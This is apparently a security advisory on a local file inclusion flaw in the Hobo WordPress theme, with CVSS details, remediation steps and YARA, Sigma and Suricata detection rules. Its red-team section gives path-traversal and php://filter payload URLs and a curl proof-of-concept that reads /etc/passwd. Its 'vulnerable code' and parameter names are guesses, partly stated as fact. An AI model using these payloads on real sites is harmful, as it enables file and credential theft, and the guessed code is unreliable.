CVE-2025-69077

Executive Summary

CVE-2025-69077 is a critical PHP Local File Inclusion (LFI) vulnerability affecting the Hobo WordPress theme by AncoraThemes, up to and including version 1.0.10. The vulnerability stems from improper control of a filename used in a PHP include/require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, such as reading /etc/passwd, configuration files, or WordPress wp-config.php. The CVSS score of 8.1 reflects the high confidentiality impact and network-based attack vector with no authentication required. No public exploit code or proof-of-concept is currently available, but the risk is elevated due to the lack of a vendor patch.

Supply Chain & Package Security

This vulnerability resides in a WordPress theme distributed via the WordPress ecosystem. Users who installed the Hobo theme from the official WordPress repository or third-party marketplaces are affected. Since the theme is not a standard package manager (NPM, PyPI, Go, Ruby) component, supply chain risks are limited to the theme's update mechanism. However, the absence of a patch means users must manually mitigate by removing or replacing the theme.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full file read capability.
• Integrity (I): None (N) – No file modification.
• Availability (A): None (N) – No denial of service.

Threat Level: High. The vulnerability is trivial to exploit and can expose sensitive server data.

Deep Dive & Mechanics

The Hobo theme uses a PHP include statement to load template parts or configuration files. The filename parameter is derived from user input (e.g., via a GET parameter like ?file=) without proper sanitization or validation. An attacker can inject path traversal sequences (e.g., ../../../../etc/passwd) to include arbitrary files from the server.

The vulnerable code pattern likely resembles:

include($_GET['file'] . '.php');

This allows an attacker to read any file by appending a null byte or using path traversal to bypass the .php extension (in older PHP versions) or by using wrappers like php://filter.

Vulnerable vs. Patched Code

Vulnerable Code (Hobo <= 1.0.10):

// In a template loader function
$template = $_GET['template'];
include( get_template_directory() . '/templates/' . $template . '.php' );

This directly concatenates user input without validation.

Patched Code (Hypothetical):

$allowed_templates = array('header', 'footer', 'sidebar');
$template = $_GET['template'];
if (in_array($template, $allowed_templates)) {
    include( get_template_directory() . '/templates/' . $template . '.php' );
} else {
    // Default behavior
}

The patch would use a whitelist of allowed filenames and reject any input not in the list.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site running Hobo theme <= 1.0.10.
• The vulnerable parameter is likely ?file= or ?template=.

Exploit Steps:

1. Identify the vulnerable endpoint (e.g., http://target/wp-content/themes/hobo/index.php?file=../../../../etc/passwd).
2. Use path traversal to read sensitive files:

   http://target/wp-content/themes/hobo/index.php?file=../../../../etc/passwd
   

3. For PHP file read, use the php://filter wrapper:

   http://target/wp-content/themes/hobo/index.php?file=php://filter/convert.base64-encode/resource=../../../../etc/passwd
   

Proof-of-Concept (No public exploit available):

curl -v "http://target/wp-content/themes/hobo/index.php?file=../../../../etc/passwd"

Blue Team (Detection & Response)

Detection Steps:

• Monitor web server logs for path traversal patterns (e.g., ../, ..\\, %2e%2e%2f).
• Look for requests to the Hobo theme directory with suspicious parameters.
• Alert on attempts to read sensitive files like /etc/passwd, wp-config.php.

Response:

• Immediately block the attacking IP.
• Remove or disable the Hobo theme.
• Check for signs of data exfiltration.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing ../ or ..\\ in the query string targeting /wp-content/themes/hobo/.
  • Requests with php://filter or php://input wrappers.
• File IOCs:
  • Unauthorized access to /etc/passwd, /etc/shadow, wp-config.php.
• Log IOCs:
  • Web server logs showing 404 or 200 responses for path traversal attempts.

Detection Engineering

YARA Rule

rule CVE_2025_69077_LFI_Detection {
    meta:
        description = "Detects LFI attempts targeting Hobo theme"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-69077"
    strings:
        $path_traversal = /\.\.\/|\.\.\\|%2e%2e%2f|%2e%2e%5c/
        $hobo_theme = /\/wp-content\/themes\/hobo\//
        $sensitive_file = /etc\/passwd|wp-config\.php|\.env/
    condition:
        $hobo_theme and ($path_traversal or $sensitive_file)
}

Sigma Rule

title: CVE-2025-69077 Hobo Theme LFI Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects path traversal attempts targeting the Hobo WordPress theme
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - '../'
            - '..\\'
            - '%2e%2e%2f'
            - '%2e%2e%5c'
        cs-uri-stem|contains: '/wp-content/themes/hobo/'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in other contexts
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-69077 Hobo Theme LFI Attempt"; flow:to_server; content:"/wp-content/themes/hobo/"; http_uri; pcre:"/(\.\.\/|\.\.\\|%2e%2e%2f|%2e%2e%5c)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Hobo theme and switch to a secure alternative.
2. Implement a Web Application Firewall (WAF) rule to block path traversal patterns.
3. Restrict file inclusion via server configuration (e.g., open_basedir in PHP).

Long-term Fix:

• Since no patch is available, remove the theme entirely and replace it with a maintained alternative.
• Monitor the vendor's website for updates.

Detection:

• Deploy the provided YARA, Sigma, and Suricata rules.
• Enable logging of all HTTP requests and review for anomalies.

Valters IT
Securing Digital Frontiers